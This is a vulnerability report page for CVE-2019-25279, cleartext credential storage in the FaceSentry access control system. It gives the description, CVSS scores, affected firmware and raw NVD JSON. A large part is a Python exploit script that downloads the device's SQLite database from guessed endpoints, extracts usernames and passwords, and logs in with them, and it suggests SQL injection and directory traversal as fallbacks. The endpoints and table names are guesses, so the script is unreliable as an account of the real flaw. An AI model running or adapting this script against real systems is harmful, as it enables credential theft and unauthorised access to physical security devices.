Security Vulnerability Report
中文
CVE-2019-25279 CVSS 7.5 HIGH

CVE-2019-25279

Published: 2026-01-08 00:15:58
Last Modified: 2026-01-16 19:16:06

Description

FaceSentry Access Control System 6.4.8 contains a cleartext password storage vulnerability that allows attackers to access unencrypted credentials in the device's SQLite database. Attackers can directly read sensitive login information stored in /faceGuard/database/FaceSentryWeb.sqlite without additional authentication.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:iwt:facesentry_access_control_system_firmware:5.7.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:iwt:facesentry_access_control_system_firmware:5.7.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:iwt:facesentry_access_control_system_firmware:6.4.8:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:iwt:facesentry_access_control_system:-:*:*:*:*:*:*:* - NOT VULNERABLE
FaceSentry Access Control System 6.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2019-25279 PoC - FaceSentry明文密码存储漏洞利用 # This PoC demonstrates accessing the SQLite database with plaintext credentials import requests import sqlite3 import io TARGET_URL = "http://target-ip:8080" DB_PATH = "/faceGuard/database/FaceSentryWeb.sqlite" def exploit_file_read(path): """Attempt to read arbitrary files from the system""" # Common endpoint for file read in FaceSentry endpoints = [ f"{TARGET_URL}/api/file/read?path={path}", f"{TARGET_URL}/file/download?filename={path}", f"{TARGET_URL}/admin/downloadDB" ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: return response.content except: continue return None def extract_credentials(db_content): """Extract plaintext credentials from SQLite database""" if not db_content: return [] credentials = [] try: conn = sqlite3.connect(io.BytesIO(db_content)) cursor = conn.cursor() # Try common table names for user credentials table_queries = [ "SELECT name, password FROM users", "SELECT username, pwd FROM user_table", "SELECT login, pass FROM accounts", "SELECT * FROM sqlite_master WHERE type='table'" ] for query in table_queries: try: cursor.execute(query) rows = cursor.fetchall() if rows: for row in rows: if len(row) >= 2: credentials.append({ 'username': row[0], 'password': row[1] }) except: continue conn.close() except Exception as e: print(f"Error extracting credentials: {e}") return credentials def login_with_credentials(username, password): """Attempt to login with extracted credentials""" login_url = f"{TARGET_URL}/api/login" data = { 'username': username, 'password': password } try: response = requests.post(login_url, json=data, timeout=10) if response.status_code == 200 and 'token' in response.text: return response.json() except: pass return None if __name__ == "__main__": print("[*] CVE-2019-25279 - FaceSentry Plaintext Password Storage") print("[*] Target:", TARGET_URL) # Step 1: Read the SQLite database print("\n[1] Attempting to read database file...") db_content = exploit_file_read(DB_PATH) if db_content: print("[+] Database file obtained successfully") # Step 2: Extract credentials print("\n[2] Extracting plaintext credentials...") creds = extract_credentials(db_content) if creds: print(f"[+] Found {len(creds)} credential(s):") for cred in creds: print(f" Username: {cred['username']}") print(f" Password: {cred['password']}") # Step 3: Verify credentials print("\n[3] Verifying credentials...") result = login_with_credentials(cred['username'], cred['password']) if result: print("[+] Login successful!") print(f" Token: {result.get('token', 'N/A')}") else: print("[-] No credentials found in database") else: print("[-] Failed to obtain database file") print("[*] Try alternative exploitation methods:") print(" - SQL Injection to extract database content") print(" - Directory traversal to access database file")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25279", "sourceIdentifier": "[email protected]", "published": "2026-01-08T00:15:58.107", "lastModified": "2026-01-16T19:16:06.010", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "FaceSentry Access Control System 6.4.8 contains a cleartext password storage vulnerability that allows attackers to access unencrypted credentials in the device's SQLite database. Attackers can directly read sensitive login information stored in /faceGuard/database/FaceSentryWeb.sqlite without additional authentication."}, {"lang": "es", "value": "El Sistema de Control de Acceso FaceSentry 6.4.8 contiene una vulnerabilidad de almacenamiento de contraseñas en texto claro que permite a los atacantes acceder a credenciales no cifradas en la base de datos SQLite del dispositivo. Los atacantes pueden leer directamente información de inicio de sesión sensible almacenada en /faceGuard/database/FaceSentryWeb.sqlite sin autenticación adicional."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:iwt:facesentry_access_control_system_firmware:5.7.0:*:*:*:*:*:*:*", "matchCriteriaId": "C64B12CF-265E-4FD8-9BCF-95843E5A885B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:iwt:facesentry_access_control_system_firmware:5.7.2:*:*:*:*:*:*:*", "matchCriteriaId": "A6913639-EBF7-4451-9052-71DB2B3DF925"}, {"vulnerable": true, "criteria": "cpe:2.3:o:iwt:facesentry_access_control_system_firmware:6.4.8:*:*:*:*:*:*:*", "matchCriteriaId": "26BA8B79-F65D-4D30-8827-B893F500BF8C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:iwt:facesentry_access_control_system:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFE14646-6ED5-46DC-8A19-4F2358F784E5"}]}]}], "references": [{"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/163190", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://packetstormsecurity.com/files/153501", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5529.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}